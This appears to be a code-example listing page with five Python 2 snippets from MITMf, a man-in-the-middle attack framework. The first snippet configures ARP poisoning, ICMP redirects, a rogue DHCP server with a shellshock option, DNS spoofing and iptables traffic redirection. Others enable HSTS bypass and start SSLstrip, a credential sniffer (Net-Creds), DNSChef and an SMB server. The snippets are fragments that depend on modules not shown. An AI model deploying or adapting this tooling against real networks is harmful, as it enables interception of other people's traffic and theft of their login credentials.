Пример #1
1
    def initialize(self, options):
        '''Called if plugin is enabled, passed the options namespace'''
        self.options           = options
        self.dnscfg            = self.config['MITMf']['DNS']
        self.dhcpcfg           = self.config['Spoof']['DHCP']
        self.targets           = options.targets
        self.arpmode           = 'rep' or options.arpmode
        self.manualiptables    = options.manualiptables
        self.mymac             = SystemConfig.getMAC(options.interface)
        self.myip              = SystemConfig.getIP(options.interface)
        self.protocolInstances = []

        #Makes scapy more verbose
        debug = False
        if options.log_level == 'debug':
            debug = True

        if options.arp:

            if not options.gateway:
                shutdown("[-] --arp argument requires --gateway")

            if options.targets is None:
                #if were poisoning whole subnet, start ARP-Watch
                arpwatch = ARPWatch(options.gateway, self.myip, options.interface)
                arpwatch.debug = debug

                self.tree_info.append("ARPWatch online")
                self.protocolInstances.append(arpwatch)

            arp = ARPpoisoner(options.gateway, options.interface, self.mymac, options.targets)
            arp.arpmode = self.arpmode
            arp.debug = debug

            self.protocolInstances.append(arp)


        elif options.icmp:

            if not options.gateway:
                shutdown("[-] --icmp argument requires --gateway")

            if not options.targets:
                shutdown("[-] --icmp argument requires --targets")

            icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, options.ip_address)
            icmp.debug = debug

            self.protocolInstances.append(icmp)

        elif options.dhcp:

            if options.targets:
                shutdown("[-] --targets argument invalid when DCHP spoofing")

            dhcp = DHCPServer(options.interface, self.dhcpcfg, options.ip_address, options.mac_address)
            dhcp.shellshock = options.shellshock
            dhcp.debug = debug
            self.protocolInstances.append(dhcp)

        if options.dns:

            if not options.manualiptables:
                if IpTables.getInstance().dns is False:
                    IpTables.getInstance().DNS(self.myip, self.dnscfg['port'])

            DNSChef.getInstance().loadRecords(self.dnscfg)

        if not options.arp and not options.icmp and not options.dhcp and not options.dns:
            shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")

        SystemConfig.setIpForwarding(1)

        if not options.manualiptables:
            IpTables.getInstance().Flush()
            if IpTables.getInstance().http is False:
                IpTables.getInstance().HTTP(options.listen)

        for protocol in self.protocolInstances:
            protocol.start()
Пример #2
0
    def initialize(self, options):
        self.options = options
        self.manualiptables = options.manualiptables
        ip_address = SystemConfig.getIP(options.interface)

        if not options.manualiptables:
            if IpTables.getInstance().dns is False:
                IpTables.getInstance().DNS(self.config['MITMf']['DNS']['port'])

        URLMonitor.getInstance().setHstsBypass()
        DNSChef.getInstance().setHstsBypass()
Пример #3
0
    def initialize(self, options):
        self.options = options
        self.manualiptables = options.manualiptables
        ip_address = SystemConfig.getIP(options.interface)

        if not options.manualiptables:
            if IpTables.getInstance().dns is False:
                IpTables.getInstance().DNS(self.config['MITMf']['DNS']['port'])

        URLMonitor.getInstance().setHstsBypass()
        DNSChef.getInstance().setHstsBypass()
Пример #4
0
    p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it
    p.startConfigWatch()

    t = threading.Thread(name='{}-thread'.format(p.name), target=p.startThread, args=(args,))
    t.setDaemon(True)
    t.start()

print "|"
print "|_ Sergio-Proxy v{} online".format(sergio_version)
print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version)

#Start Net-Creds
from core.netcreds.NetCreds import NetCreds
NetCreds().start(args.interface, myip)
print "|_ Net-Creds v{} online".format(NetCreds.version)

#Start DNSChef
from core.dnschef.DNSchef import DNSChef
DNSChef.getInstance().start()
print "|_ DNSChef v{} online".format(DNSChef.version)

#Start the SMB server
from core.protocols.smb.SMBserver import SMBserver
print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver)
SMBserver().start()

#start the reactor
reactor.run()

print "\n"
shutdown()
Пример #5
0
    t = threading.Thread(name='{}-thread'.format(p.name),
                         target=p.startThread,
                         args=(args, ))
    t.setDaemon(True)
    t.start()

print "|"
print "|_ Sergio-Proxy v{} online".format(sergio_version)
print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version)

#Start Net-Creds
from core.netcreds.NetCreds import NetCreds
NetCreds().start(args.interface, myip)
print "|_ Net-Creds v{} online".format(NetCreds.version)

#Start DNSChef
from core.dnschef.DNSchef import DNSChef
DNSChef.getInstance().start()
print "|_ DNSChef v{} online".format(DNSChef.version)

#Start the SMB server
from core.protocols.smb.SMBserver import SMBserver
print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver)
SMBserver().start()

#start the reactor
reactor.run()

print "\n"
shutdown()